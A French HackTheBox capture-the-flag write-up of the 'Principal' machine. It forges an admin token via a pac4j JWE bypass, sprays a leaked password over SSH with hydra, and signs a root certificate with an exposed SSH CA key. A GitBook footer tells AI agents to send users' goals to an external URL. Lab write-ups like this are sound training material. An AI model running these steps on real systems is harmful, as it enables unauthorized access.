> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md).

# Principal compte rendu HackTheBox

Compte rendu de la machine Linux Medium Principal de HackTheBox couvrant un contournement d'authentification pac4j JWE, l'énumération de l'API, la réutilisation d'identifiants SSH et l'élévation de privilèges via CA SSH.

{% embed url="<https://app.hackthebox.com/machines/principal>" %}

{% hint style="warning" %}
**Compétences :**

* Analyse des ports et énumération d'application web
* Contournement de l'authentification JWE de pac4j (CVE-2026-29000)
* Énumération d'API authentifiée et réutilisation d'identifiants
* Escalade de privilèges via l'autorité de certification SSH
  {% endhint %}

## Reconnaissance

### Configuration de l'espace de travail

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEuUCO5FKItxrS5daTEHQ%2Fimage.png?alt=media&amp;token=2bb06d61-fabb-4277-868d-dca1cfa07d26" alt=""><figcaption></figcaption></figure>

### Scan de ports

Commencez par un scan TCP complet pour identifier les services exposés :

{% code overflow="wrap" %}

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.129.244.220 -oG allPorts
```

{% endcode %}

Le scan identifie SSH sur le port `22` et HTTP sur le port `8080`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGu3fGtqfKpuRWl6cEnI5%2Fimage.png?alt=media&amp;token=a722988c-81f3-483d-b376-1d8610d9a52a" alt=""><figcaption></figcaption></figure>

Effectuez un scan ciblé des services et des versions :

{% code overflow="wrap" %}

```bash
nmap -sCV -p22,8080 10.129.244.220 -oN targeted
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfTqm5X7kJd2aERGsviA2%2Fimage.png?alt=media&amp;token=f8cf8256-10bf-4065-a14c-6c7edf7a540e" alt=""><figcaption></figcaption></figure>

### Analyse de l'application web

L'application web écoute sur le port `8080`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGOHPYslr0lBgMTBfdzVF%2Fimage.png?alt=media&amp;token=b4bcc361-482f-429b-a959-384b180c6a90" alt=""><figcaption></figcaption></figure>

L'application utilise pac4j `1.2.0`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdHYITZOd8xDlGxagDKlC%2Fimage.png?alt=media&amp;token=f0f6121a-0ae9-4f03-9a66-226604297e0c" alt=""><figcaption></figcaption></figure>

### Contournement de l'authentification

Cette version de pac4j est vulnérable à un contournement de l'authentification utilisant un PlainJWT encapsulé dans un JWE. Le problème est répertorié sous `CVE-2026-29000`.

{% embed url="<https://github.com/advisories/GHSA-pm7g-w2cf-q238>" %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FglkjFkwehLAfFyGveLO1%2Fimage.png?alt=media&amp;token=89b43288-812e-4abf-8f27-b23c75698ff7" alt=""><figcaption></figcaption></figure>

Énumérez les chemins de l'application avec Gobuster :

{% code overflow="wrap" %}

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.244.220:8080/ -t 100
```

{% endcode %}

Le tableau de bord redirige les utilisateurs non authentifiés vers la page de connexion.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxVrDRdf27GxuT33N1y4K%2Fimage.png?alt=media&amp;token=0e863fa8-236b-4053-b5dc-e185612e22c8" alt=""><figcaption></figcaption></figure>

Le chargement du tableau de bord déclenche une requête vers `/api/auth/jwks`, ce qui expose l'ensemble public de clés Web JSON :

{% code overflow="wrap" %}

```json
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "enc-key-1",
      "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
    }
  ]
}
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fa44fqpILZQxFx9DPtApc%2Fimage.png?alt=media&amp;token=41deccaa-4e01-4ea5-b192-f0516d8b32cd" alt=""><figcaption></figcaption></figure>

Utilisez la clé publique exposée pour générer un jeton administrateur valide.

{% embed url="<https://codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key>" %}

Utilisez l'exemple de preuve de concept suivant :

{% embed url="<https://github.com/alihussainzada/CVE-2026-29000-Python-PoC-pac4j-JWT-AuthenticationBypass-Poc>" %}

Exécutez la preuve de concept avec le `admin` nom d'utilisateur et `ROLE_ADMIN` rôle :

{% code overflow="wrap" %}

```bash
python3 poc.py \
--jwks http://10.129.244.220:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
```

{% endcode %}

La preuve de concept renvoie un jeton bearer administrateur. Stockez-le dans une variable avant d'effectuer des requêtes authentifiées :

{% code overflow="wrap" %}

```bash
Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5FPHofyBiiuHJqXcfOqn%2Fimage.png?alt=media&amp;token=15fa3379-74d1-4e56-8fbb-ad3f89aa93be" alt=""><figcaption></figcaption></figure>

### Énumération d'API authentifiée

Analyse `static/js/app.js` pour identifier les routes d'API exposées :

{% code overflow="wrap" %}

```bash
const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FesLYfS6Saxt1wRxVSw9u%2Fimage.png?alt=media&amp;token=b415653b-8f39-4600-8f2b-241da9487697" alt=""><figcaption></figcaption></figure>

Utilisez le jeton administrateur pour énumérer les utilisateurs. La requête capturée ci-dessous appelle `/api/users`.

{% code overflow="wrap" %}

```http
curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \
    $'http://10.129.244.220:8080/api/users'
```

{% endcode %}

La réponse répertorie huit utilisateurs. Le `svc-deploy` compte est particulièrement pertinent car il gère les déploiements automatisés de certificats SSH.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9Rpk9a489Yj5GYcBQNZg%2Fimage.png?alt=media&amp;token=fb759905-15f1-40d5-b943-e583c441f8dc" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
echo '{"users":[{"email":"s.chen@principal-corp.local","username":"admin","note":"","role":"ROLE_ADMIN","active":true,"lastLogin":"2025-12-28T09:15:00Z","id":1,"department":"Sécurité informatique","displayName":"Sarah Chen"},{"email":"svc-deploy@principal-corp.local","username":"svc-deploy","note":"Compte de service pour les déploiements automatisés via l'authentification par certificat SSH.","role":"deployer","active":true,"lastLogin":"2025-12-28T14:32:00Z","id":2,"department":"DevOps","displayName":"Deploy Service"},{"email":"j.thompson@principal-corp.local","username":"jthompson","note":"Chef d'équipe - services backend","role":"ROLE_USER","active":true,"lastLogin":"2025-12-27T16:45:00Z","id":3,"department":"Ingénierie","displayName":"James Thompson"},{"email":"a.morales@principal-corp.local","username":"amorales","note":"Développeur frontend","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T08:20:00Z","id":4,"department":"Ingénierie","displayName":"Ana Morales"},{"email":"b.wright@principal-corp.local","username":"bwright","note":"Responsable des opérations","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-26T11:30:00Z","id":5,"department":"Opérations","displayName":"Benjamin Wright"},{"email":"k.kumar@principal-corp.local","username":"kkumar","note":"Analyste sécurité - en congé jusqu'au 6 janv.","role":"ROLE_ADMIN","active":false,"lastLogin":"2025-12-20T10:00:00Z","id":6,"department":"Sécurité informatique","displayName":"Kavitha Kumar"},{"email":"m.wilson@principal-corp.local","username":"mwilson","note":"Ingénieur QA","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T13:10:00Z","id":7,"department":"QA","displayName":"Marcus Wilson"},{"email":"l.zhang@principal-corp.local","username":"lzhang","note":"Directeur de l'ingénierie","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-28T07:55:00Z","id":8,"department":"Ingénierie","displayName":"Lisa Zhang"}],"total":8}' | jq | grep username
```

{% endcode %}

> admin\
> svc-deploy\
> jthompson\
> amorales\
> bwright\
> kkumar\
> mwilson\
> lzhang

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fc3kaoLe0GSeldjFTKTPx%2Fimage.png?alt=media&amp;token=73020884-2aac-4fb3-b43d-8280e5cba38d" alt=""><figcaption></figcaption></figure>

Ensuite, interrogez les paramètres de l'application via `/api/settings`.

{% code overflow="wrap" %}

```bash
curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \
    $'http://10.129.244.220:8080/api/settings'
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6laI1zNBfwdRSq6CabHB%2Fimage.png?alt=media&amp;token=98c1406b-058b-47f3-83ed-d151d6e2df78" alt=""><figcaption></figcaption></figure>

Formatez la réponse JSON avec `jq` pour examiner la configuration :

{% code overflow="wrap" %}

```bash
echo '{"system":{"applicationName":"Principal Internal Platform","javaVersion":"21.0.10","serverType":"Jetty 12.x (Embedded)","environment":"production","version":"1.2.0"},"security":{"authFramework":"pac4j-jwt","authFrameworkVersion":"6.0.3","jwtAlgorithm":"RS256","jweAlgorithm":"RSA-OAEP-256","jweEncryption":"A128GCM","encryptionKey":"D3pl0y_$$H_Now42!","tokenExpiry":"3600s","sessionManagement":"stateless"},"integrations":[{"status":"connected","lastSync":"2025-12-28T12:00:00Z","name":"GitLab CI/CD"},{"status":"connected","lastSync":"2025-12-28T14:00:00Z","name":"Vault"},{"status":"connected","lastSync":"2025-12-28T14:30:00Z","name":"Prometheus"}],"infrastructure":{"sshCaPath":"/opt/principal/ssh/","notes":"L'authentification par certificat SSH est configurée pour l'automatisation - voir /opt/principal/ssh/ pour la configuration de l'AC.","database":"H2 (embedded)","sshCertAuth":"enabled"}}' | jq
```

{% endcode %}

Le `encryptionKey` révèle un mot de passe réutilisable :

* D3pl0y\_$$H\_Now42!

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fs7YmXyWJiNusPheIGfmZ%2Fimage.png?alt=media&amp;token=a903b910-2159-4740-8c19-64eb49079764" alt=""><figcaption></figcaption></figure>

### Accès SSH

Testez le mot de passe divulgué sur les noms d'utilisateur récupérés via l'API :

{% code overflow="wrap" %}

```bash
hydra -L users.txt -p 'D3pl0y_$$H_Now42!' ssh://10.129.244.220
```

{% endcode %}

Le mot de passe est valide pour le `svc-deploy` compte.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcxZNsUez6YDRSvVw7zoA%2Fimage.png?alt=media&amp;token=9d43e8de-b1a7-4e1a-bc3e-7406210982e6" alt=""><figcaption></figcaption></figure>

Connectez-vous en tant que `svc-deploy` et récupérez le flag utilisateur :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuqCiWg2u3kvSJZlwkG1y%2Fimage.png?alt=media&amp;token=24bcdd24-7a05-4dc7-8c3c-15403b1d77c3" alt=""><figcaption></figcaption></figure>

### Escalade de privilèges

Le `svc-deploy` compte appartient au `deployers` groupe.

{% code overflow="wrap" %}

```bash
id
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlMvPolPhjpPdTHGmCg0d%2Fimage.png?alt=media&amp;token=7dd1bfc3-ef5b-4de5-9d91-0e2976cae939" alt=""><figcaption></figcaption></figure>

Énumérez les fichiers accessibles à ce groupe :

{% code overflow="wrap" %}

```bash
find / -group deployers 2>/dev/null
```

{% endcode %}

Le groupe peut accéder au matériel de l'autorité de certification SSH :

> /etc/ssh/sshd\_config.d/60-principal.conf\
> /opt/principal/ssh\
> /opt/principal/ssh/README.txt\
> /opt/principal/ssh/ca

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFJUKbXIx3SBC02L5vq2B%2Fimage.png?alt=media&amp;token=e8f75d22-867b-48c8-a098-207eb83e8ffc" alt=""><figcaption></figcaption></figure>

Inspectez `/etc/ssh/sshd_config.d/60-principal.conf`:

{% code overflow="wrap" %}

```bash
# Configuration SSH de la machine Principal
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
```

{% endcode %}

`PermitRootLogin prohibit-password` permet l'authentification root avec une clé. La clé privée de l'AC accessible peut signer un certificat pour le `root` principal.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEZSvZxZdUyyRR73JqztO%2Fimage.png?alt=media&amp;token=8c7ab33a-1af5-4076-af95-d89d73d1ebf4" alt=""><figcaption></figcaption></figure>

### Exploiter l'autorité de certification SSH

Générez une paire de clés temporaire :

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N ""
```

{% endcode %}

Signez la clé publique pour le `root` principal avec la clé privée de l'AC exposée :

`-I` définit l'identité du certificat. `-n` définit le principal valide.

{% code overflow="wrap" %}

```bash
ssh-keygen -s /opt/principal/ssh/ca -I "Exploit" -n root /tmp/id_rsa.pub
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fe07nPGDWc0bpgnbNkysP%2Fimage.png?alt=media&amp;token=340936c9-c85f-442a-a79a-3e1e700ae78b" alt=""><figcaption></figcaption></figure>

Connectez-vous localement en tant que `root` avec le certificat signé :

{% code overflow="wrap" %}

```bash
ssh -i /tmp/id_rsa -i /tmp/id_rsa-cert.pub root@localhost

whoami
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwfIFCrES7lE0w61ZGcyT%2Fimage.png?alt=media&amp;token=538c6a7a-cacb-4cf6-b2c3-fb0f6b7843ae" alt=""><figcaption></figcaption></figure>

Récupérez le flag root :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fr6NrdbdExN0XLH0I21sW%2Fimage.png?alt=media&amp;token=8955648b-d079-4b3f-9176-746b3f06c141" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.